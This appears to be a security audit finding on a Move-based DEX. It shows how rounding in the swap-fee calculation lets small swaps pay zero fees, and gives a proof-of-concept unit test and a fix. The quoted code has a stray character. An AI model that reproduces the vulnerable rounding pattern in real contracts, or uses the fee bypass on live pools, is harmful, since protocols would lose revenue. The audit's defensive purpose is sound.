Category: Coding Mistakes
Ability to bypass swap fees
Low Severity
Low Impact
Medium Likelihood
Description
The following code calculates the fee amount for a swap:
public fun swap_simulation(
pool_amount_in: u64,
pool_amount_out: u64,
weight_in: Decimal128,
weight_out: Decimal128,
amount_in: u64,
swap_fee_rate: Decimal128,
): (u64, u64) {
// [...]
let fee_amount = decimal128::mul_u64(&swap_fee_rate, amount_in);
let adjusted_amount_in = amount_in - fee_amount;
// [...]
}
public fun mul_u64(decimal: &Decimal128, val: u64): u64 {
(decimal.val
* (val as u128)
! / DECIMAL_FRACTIONAL
as u64)
}
It is possible to bypass swap fees by swapping a low amount such that the precision loss from division when calculating fees rounds the fee amount to zero.
Impact
Note that the small swap could be executed repeatedly to equate to one larger swap.
We provided the following proof of concept (placed in dex.move) to demonstrate exploitability of this issue:
#[test]
fun zellic_exploit_rounding_bypass_fees() {
let pool_amount_in = 100000000;
let pool_amount_out = 100000000;
let weight_in = decimal128::from_ratio(1, 1);
let weight_out = decimal128::from_ratio(1, 1);
let swap_fee_rate = decimal128::from_ratio(3, 1000);
// 1 / swap_fee_rate - 1
let max_avoid_fee_amount = ((1000 / 3 - 1) as u64);
assert!(max_avoid_fee_amount != 0, 0); // doesn't prove anything if you get nothing from it
let (return_amount, fee_amount) = swap_simulation(
pool_amount_in,
pool_amount_out,
weight_in,
weight_out,
max_avoid_fee_amount,
swap_fee_rate,
);
assert!(fee_amount == 0, 1); // we paid no fees
assert!(return_amount != 0, 2); // we got something back (the amount isn't relevant)
}
Recommendations
We recommend always rounding the fee calculation in favor of the protocol instead of the user. This way, as swaps get smaller, fees get proportionally higher instead of proportionally smaller.
Remediation
The patch was also updated in to further prevent exploitation.